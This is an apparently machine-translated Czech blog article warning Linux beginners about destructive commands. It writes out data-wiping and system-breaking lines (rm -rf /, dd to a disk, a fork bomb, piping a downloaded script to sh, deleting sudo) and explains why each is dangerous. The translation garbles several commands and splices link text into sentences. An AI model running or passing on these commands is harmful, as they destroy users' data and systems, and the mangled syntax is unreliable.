
Mark Lucas
0
2002
561
Linux může být dvojsečný meč. Předpokládá se, že víte, co děláte, a dává vám svobodu dělat, co chcete. To vás nezpochybní. To je výhodné, když vy vlastně vědět, co děláte, ale také to znamená, že během několika sekund můžete svůj systém nepoužitelný.
Novinka v příkazovém řádku systému Linux? Bez obav. Začínáme s naší příručkou pro rychlý start terminálu Linuxu Rychlý průvodce Začínáme s příkazovým řádkem Linuxu Stručný průvodce Začínáme s příkazovým řádkem Linuxu V Linuxu můžete dělat spoustu úžasných věcí a opravdu není těžké se je naučit. spolu s těmito 40 základními příkazy Linuxu A-Z Linuxu - 40 základních příkazů, které byste měli znát A-Z Linuxu - 40 základních příkazů, které byste měli vědět Linux je často ignorovaným třetím kolem Windows a Mac. Ano, v posledním desetiletí si otevřený operační systém s otevřeným zdrojovým kódem získal velkou trakci, ale stále je to daleko od uvažování…. S těmito dvěma zdroji se v krátkém čase seznámíte s příkazovým řádkem.
Ale ať už jste Linux nováček nebo veterán, nikdy byste neměli spustit příkaz, pokud to nevíte přesně tak co to dělá. Zde jsou některé z nejsmrtelnějších linuxových příkazů, kterým se z velké části chcete vyhnout.
Smazat rekurzivně
Schopnost Linuxu odstranit vše, co chcete, je bezpochyby dar z nebes, zejména po vypořádání se s roky “Tento soubor nelze odstranit” chyby ve Windows. Internetové trollové vás však budou klamat rychle a představí vám extrémně nebezpečné příkazy k odstranění, které mohou vymazat celé pevné disky.
rm -rf /
Tento řádek provede příkaz remove rm se dvěma přepínači: -r což vynucuje rekurzivní odstranění ve všech podadresářích a -F což vynucuje mazání souborů jen pro čtení bez potvrzení. Příkaz se provede na / kořenový adresář, v podstatě vymazání celého systému čisté.
Všimněte si, že v těchto dnech na většině systémů Linux, pokud jste se o to pokusili, dostanete varování. Varování však není zaručeno, takže to prostě nedělejte.
Formátování pevného disku
Terminál je obzvláště složitý pro nováčky Linuxu, protože poskytuje několik způsobů, jak náhodně vymazat pevný disk. Rekurzivní odstranění je velké, ale tady je další:
mkfs.ext3 / dev / hda
Tento příkaz naformátuje pevný disk tak, aby používal souborový systém ext3. Formátování diskové jednotky Jak přeformátovat vaši jednotku FAT32 na NTFS - a výhody, jak to udělat Jak přeformátovat vaši jednotku FAT32 na NTFS - a výhody, jak to udělat Možná to nevíte, ale výběr správného souborového systému pro vaše disky je ve skutečnosti pěkný Důležité. Přestože hlavní myšlenka všech souborových systémů je stejná, existuje mnoho výhod a nevýhod nad každým ... nejedná se ze své podstaty o zákeřnou akci, ale má “reset” disk tak, že je “stejně dobré jako nové”. Jinými slovy, formátovaný pevný disk je jako prázdná tabulka.
Formátování je užitečné pro diskové oddíly a externí jednotky, ale je prováděno na celém pevném disku (například / dev / hda) je nebezpečný a může váš systém ponechat v neopravitelném stavu.
Přepsat pevný disk
Jako by náhodný formát disku nebyl dost špatný, je možné přepsat pevný disk pomocí nezpracovaných dat. Alespoň formátování disku je skutečný postup s použitím v reálném čase; přímé přepisování něčí jednotky na druhé straně není tak skvělé.
příkaz > / dev / hda
Ve výše uvedeném příkazu, příkaz lze nahradit libovolným příkazem Bash. > operátor přesměruje výstup z příkazu vlevo do souboru na pravé straně. V tomto případě nezáleží na tom, jaký je výstup levého příkazu. Tato surová data jsou přesměrována a použita k přepsání pevného disku systému.
Jak si dokážete představit, je to zbytečné.
Vymazat pevný disk
Tady je další způsob, jak zničit váš systém. Tentokrát příkaz úplně vynuluje váš pevný disk. Žádné poškození dat ani přepsání; doslova naplní váš pevný disk nuly. Pevný disk nezmizí víc než to.
dd if = / dev / zero = / dev / hda
dd Příkaz je nízkoúrovňová instrukce, která se většinou používá k zápisu dat na fyzické jednotky. -li parametr určuje zdroj dat, což je v tomto případě / dev / nula, speciální v systému Linux, který vytváří nekonečný proud nul. z parametr určuje cíl těchto nul, což je / dev / hda řídit.
Ano, existují legitimní důvody pro vynulování jednotky, ale pokud nevíte, jaké jsou tyto důvody, budete chtít zůstat mimo tento příkaz.
Implode pevný disk
Pokud vás nebaví slyšet způsoby, jak zničit váš pevný disk, vydržte. Zde je ještě jedna pro vás. V systému Linux se nazývá speciální soubor / dev / null které zlikvidují veškerá data, která jsou do něj zapsána. Můžete na to myslet jako na černou díru nebo na drtič souborů: cokoli, co mu bude zadáno jako vstup, bude konzumováno navždy.
mv / / dev / null
Můžete zde najít nebezpečí? mv příkaz se pokusí přesunout kořenový adresář systému / do černé díry / dev / null. Toto je platný příkaz a výsledek je devastující: pevný disk se sníží a nezbude nic. Díky tomu bude váš systém nepoužitelný.
Příčina Panika jádra
Windows má neslavnou modrou obrazovku smrti Windows 8 Crashing? Jak snadno řešit modrou obrazovku a další problémy Windows 8 Crashing? Jak snadno řešit modrou obrazovku a další problémy Windows 8 není dokonalý. Většina modrých obrazovek a selhání aplikací však není chybou systému Windows. Naše tipy vám pomohou přesně identifikovat, co je s počítačem, a opravit je. . A navzdory mýtům, které se vznášejí kolem, Linux není dokonale zabezpečený systém. Někdy dojde k vnitřní chybě, ze které není možné zotavení, takže systém uzpůsobí něco podobného modré obrazovce: a panika jádra.
dd if = / dev / random of = / dev / port echo 1> / proc / sys / kernel / panic cat / dev / port cat / dev / zero> / dev / mem
Složitosti výše uvedených příkazů zde nejsou důležité. Co je Důležité je, že spuštění kterékoli z těchto linek bude mít za následek paniku jádra, což vás nutí restartovat systém. Nejlepší je zůstat mimo tyto příkazy, pokud si nejste zcela jisti, že víte, co děláte.
Vidlice Bomb
Bash je jazyk terminálu Linux Je Linux matoucí? Zde jsou klíčové pojmy, které potřebujete vědět, je Linux matoucí? Zde jsou klíčové pojmy, které potřebujete znát V dnešní době se Ubuntu a další moderní distribuce Linuxu obvykle instalují bez problémů (a bez nutnosti jakýchkoli znalostí), ale jak se s nimi budete pohybovat vpřed, nevyhnutelně narazíte na nejrůznější terminologie, které… a je to mocné. Může nejen spouštět příkazy, ale také spouštět funkce, což usnadňuje psaní skriptů, které mohou automatizovat systémové úkoly. Funkce bohužel nepřicházejí bez vlastního souboru rizik.
: () : |: & ;:
Tento nejasný příkaz se nazývá a vidlice bomba, což je speciální typ paniky jádra. Definuje funkci pojmenovanou : který se rekurzivně volá po spuštění dvakrát. Jeden z rekurzivních volání se děje v popředí, zatímco druhý se děje na pozadí.
Jinými slovy, pokaždé, když se tato funkce spustí, vzniknou dva podřízené procesy. Tyto podřízené procesy vytvářejí své vlastní podřízené procesy a tento cyklus pokračuje v nekonečné smyčce. Jediným způsobem, jak se z toho dostat, je restartování systému.
Spusťte vzdálený skript
Tady je nevinný příkaz, který může být užitečný v každodenním životě v systému Linux. wget načte obsah webové adresy URL, kterou lze použít k přístupu na webové stránky nebo ke stažení souborů. Existuje však jednoduchý trik, který je činí nebezpečným:
wget http: // an-nedůvěryhodný-url -O- | sh
Výše uvedená kombinace stáhne obsah dané adresy URL a okamžitě ji vloží do sh příkaz, který provede stažený obsah v terminálu. Pokud by adresa URL měla odkazovat na škodlivý skript, uzavřela byste tímto příkazem svůj vlastní osud.
Zakázat práva root root
Tento poslední příkaz je přímý. Využívá běžně používané rm příkaz k deaktivaci dvou nejdůležitějších příkazů v systému Linux: sudo a su. Dlouhý příběh, tyto dva vám umožňují běžet jiný příkazy s oprávněním root. Bez nich by byl život na Linuxu mizerný.
rm -f / usr / bin / sudo; rm -f / bin / su
Proto byste tento příkaz neměli spouštět. Vynutí vymaže oba příkazy z vašeho systému bez jakéhokoli potvrzení, takže vás uvízne. Tam jsou způsoby, jak obnovit to, co jste smazali Nejlepší způsoby, jak obnovit data v systému Linux Nejlepší způsoby, jak obnovit data v systému Linux Bez ohledu na to, zda to byla vaše chyba, nebo ne, s daty uloženými na vašem zařízení se může stát něco. Pevné disky, disky SSD a vyměnitelná média mohou všechny potenciálně „ztratit“ soubory kvůli mnoha…, ale to není vždy jednoduché a nebude to příjemné.
Prosím buď opatrný! Nebojte se hrát si s Linuxem Vzhledem k Linuxu? 10 nejčastějších otázek s ohledem na Linux? 10 nejčastějších odpovědí Níže jsou uvedeny nejčastější dotazy, které uživatelé systému Windows mají ohledně systému Linux. Po absolvování tohoto seznamu otázek a odpovědí byste se měli vyzkoušet v Linuxu mnohem jistěji. a terminálu příkazového řádku, ale zároveň provádějte výzkum a nikdy nic nevykonávejte, pokud si nejste absolutně jistí, co to dělá. Pokud vám to někdo řekne “zkuste tento příkaz”, vždy to dvakrát a třikrát zkontrolujte.
Už jste někdy spustili destruktivní příkaz? Co se stalo? Přivedl vás někdo do toho? Podělte se s námi o své myšlenky a zkušenosti v komentářích!